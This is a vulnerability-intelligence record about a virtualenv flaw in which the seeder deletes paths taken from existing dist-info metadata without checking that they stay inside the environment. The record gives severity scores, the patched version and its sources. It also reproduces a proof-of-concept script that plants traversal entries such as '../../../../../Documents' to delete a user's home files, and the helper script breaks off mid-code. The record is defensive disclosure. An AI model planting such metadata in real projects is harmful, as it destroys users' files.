KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 01:07 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-113719

virtualenv: Seed replacement does not contain metadata deletion paths

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.

At a glance

Exploited
Not known
Severity
4.5 Medium (CVSS 3.1)
Chance of exploitation
0.1% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx (opens a new tab)

What happened

## Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Continue reading

Removal of a previously installed seed package.

## Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

## Affected code

The relevant 21.14.8 source is in [seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).

## Mechanism

Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info` directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to `site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the path outside the environment.

The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; `--clear` removes that tree first.

## Reproduction and evidence

The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt` contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held `Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths. A control tree with `top_level.

txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. [PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root and refuses to delete the root itself.

## Attack sequence

```mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: top_level.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignore_errors=True) USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def make_home(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n") (home / "notes.txt").write_text("my notes\n") return home

def unpack_attacker_project(home, top_level_line, record_line): subprocess.run( [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line], check=True, )

def user_runs_virtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="")

def files_left(home): return [f for f in USER_FILES if (home / f).exists()]

# control: the project ships well-formed pip metadata control_home = make_home("control") unpack_attacker_project(control_home, "pip", "pip/__init__.py,,") user_runs_virtualenv(control_home) control_left = files_left(control_home) print(f"CONTROL user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attack_home = make_home("attack") unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}") user_runs_virtualenv(attack_home) attack_left = files_left(attack_home) print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK") ```

**`repro.d/make_project_tree.py`**

```text #!/usr/bin/env python3 import sys from pathlib import Path

project = Path(sys.argv[1]) top_level_line = sys.argv[2] record_line = sys.argv[3]

project.mkdir(parents=True) (project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" dist_info.mkdir(parents=True) (

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

4.5

Version 3.1As of

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.1%

Scored Percentile 3.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-hhxq-47xx-j5xx, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113719, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Seed replacement does not contain metadata deletion paths (CVE-2026-113719). https://kevwire.com/record/CVE-2026-113719

MLA

"virtualenv: Seed replacement does not contain metadata deletion paths (CVE-2026-113719)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113719.

Chicago

KEVWire. "virtualenv: Seed replacement does not contain metadata deletion paths (CVE-2026-113719)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113719.

Evidence summary (plain text)

virtualenv: Seed replacement does not contain metadata deletion paths (Oct 23, 2026).
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-hhxq-47xx-j5xx).
EPSS 0.1% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx: https://github.com/advisories/GHSA-hhxq-47xx-j5xx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-26
Record ID: CVE-2026-113719.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail